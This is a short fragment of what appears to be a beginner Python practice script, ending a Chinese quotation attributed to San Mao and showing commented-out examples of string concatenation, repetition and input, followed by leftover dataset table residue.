天上就掉下一滴水,
于是形成了太平洋。
- 三毛
'''
# print(content)
# print(content2)
# print(content3)
#
#
# str1 = 'yu'
# str2 = 'xianjia'
# print(str1 + str2)
#
# str3 = '坚强'
# print(str3 * 5)
# name = input('请... | [
"2451255827qq.com"
] | 2451255827qq.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.